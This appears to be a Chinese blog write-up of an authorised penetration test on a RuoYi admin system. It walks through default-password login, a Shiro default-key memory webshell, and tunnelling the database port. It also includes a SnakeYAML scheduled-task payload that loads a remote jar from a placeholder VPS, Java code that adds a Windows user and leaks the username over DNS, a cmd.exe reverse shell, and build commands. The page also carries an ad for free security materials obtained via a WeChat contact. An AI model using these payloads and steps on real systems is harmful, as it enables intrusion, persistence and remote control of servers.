記一次若依後臺管理系統滲透

前言

最近客戶開始hw前的風險排查,讓我們幫他做個滲透測試,只給一個單位名稱。通過前期的信息收集,發現了這個站點:

沒有驗證碼,再加上這個圖標,吸引了我注意:

從弱口令開始

若依默認口令爲admin/admin123,結果真的直接進了。

管理員權限,直接上工具探測一下是否有若依的幾個漏洞:

工具鏈接:https://github.com/thelostworldFree/Ruoyi-All

還得是運氣啊!原本想着直接用這個工具一鍵穿的,但是奈何沒利用過若依的洞,這個工具也不會使用。後續去查看了幾篇文章,需要上傳jar包,該漏洞可通過定時任務去調用執行jar包。

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

文章地址:https://blog.csdn.net/FY10033/article/details/126206890

然後坑來了。按照教程去實踐,發現怎麼樣也無法執行漏洞。以下是java代碼:

  public AwesomeScriptEngineFactory() {\
    try {\
      Runtime.getRuntime().exec(\"net user test test@123 /add\");\
      Runtime.getRuntime().exec(\"ping tttt.ogjxcqvtbf.dnstunnel.run\");\
      Runtime.getRuntime().exec(\"ping
  %USERNAME%.ogjxcqvtbf.dnstunnel.run\");\
    }catch (IOException e) {\
       e.printStackTrace();\
     }\
​
  }

還得從shiro入手

嘗試了一下午後,想想算了,看看有沒有別的洞吧。剛好文章裏面有寫到,ruoyi的shiro存在默認密鑰,結果一嘗試,還真的存在。(Ps:這邊有個坑,我用文章裏面提到的LiqunKit去嘗試,無法執行命令。後續用了shiro_attack成功命令執行)

然後通過shiro寫入內存馬:

對內存馬感興趣的,可以看下這兩篇文章:

http://www.manongjc.com/detail/64-jmklbsfdbhdslrw.html

https://blog.csdn.net/MachineGunJoe/article/details/118088350

但是可惜,這是一臺雲主機,整個內網就一臺主機。很多人可能看到esc,就不想再打了。不過我還是去翻了一下文件夾,把數據庫賬號也拉下來。

這個項目很奇怪,我找到的項目路徑下全是jar包,我都懷疑這個是不是web目錄。在基礎信息裏面找到了路徑:

catalina.home =C:\Users\Administrator\AppData\Local\Temp\2\tomcat.937421519914311975.808

但是進入該路徑下,發現沒文件,不知道是不是權限不夠。

可以看到這邊只限制127.0.0.1的ip訪問,這就很尷尬,所以這邊我使用ligolo代理3306出來,成功進行連接:

工具鏈接:https://github.com/FunnyWolf/ligolo

其實也嘗試過添加用戶,但是貌似被攔截了。原本想用哥斯拉的內存馬進行一鍵提權的,但是不知道爲什麼,哥斯拉的內存馬一直連接不上。有大佬懂的,還望不吝賜教。

再戰定時任務

但是對於定時任務沒復現出來,我還是很執着,通過查看其它大佬寫的文章,發現了原來這個jar包的代碼有問題,windows和linux的命令執行不一樣,windows沒辦法直接通過exec執行,需要調用cmd進程進行執行。後續參考了這篇文章:

https://www.cnblogs.com/BOHB-yunying/p/15661384.html

配置完後,後臺添加定時任務

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL

["http://vpsip:8000/yaml-payload.jar"]]]]')

Java部分源碼:

+-----------------------------------------------------------------------+| String host="ip"; || ||         int port = 6767; || ||         String cmd="cmd.exe"; || ||         Process p=new || ProcessBuilder(cmd).redirectErrorStream(true).start(); || ||         java.net.Socket s=new java.net.Socket(host,port); || ||         java.io.InputStream || pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); || ||         java.io.OutputStream || po=p.getOutputStream(),so=s.getOutputStream(); |+=======================================================================++-----------------------------------------------------------------------+

然後通過以下命令編譯並打包爲jar包:

+-----------------------------------------------------------------------+| javac src/artsploit/AwesomeScriptEngineFactory.java //編譯java文件 || || jar -cvf yaml-payload.jar -C src/ . //打包jar包 |+=======================================================================++-----------------------------------------------------------------------+

成功反彈shell到我vps上:

總結與思考

其實如果整片文章看下來,可能會覺得比較順利,但是其實踩了很多坑,以下是我自己的總結,也和大家分享一下:

  1. 冰蠍多版本不支持shiro_attack生成的內存馬,目前發現3.0Beta9版本修復版支持;

  2. 若依的定時任務java代碼執行:Linux和windows的執行代碼是不同的,windows需要調用cmd進程去執行,才導致一直測試不成功;

  3. 冰蠍自帶的socks代理和數據庫工具很難用,經常出現奇奇怪怪的問題。可以使用第三方工具。如ligolo,把數據庫端口映射出來,再去訪問登錄。我就是用自帶的數據庫管理工具連不上,然後socks代理也連不上,才使用第三方工具的;

  4. netuser添加用戶失敗大概率是權限不足或者殺軟攔截了。上線後可以先tasklist查看是否有殺軟。其實就是和滲透前的信息收集一樣,上線後也要收集一下當前服務器的信息;

  5. 遇到滲透的效果和自己預想的不一樣的情況,要學會排查,猜測問題的原因。如我本次代理3306端口出來,一直去嘗試賬號密碼登錄,但是一直登錄不上。排查了一圈,才發現當時爲了安全起見,把我的代理端口限制IP訪問了。

更多靶場實驗練習、網安學習資料,請點擊這裏>>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章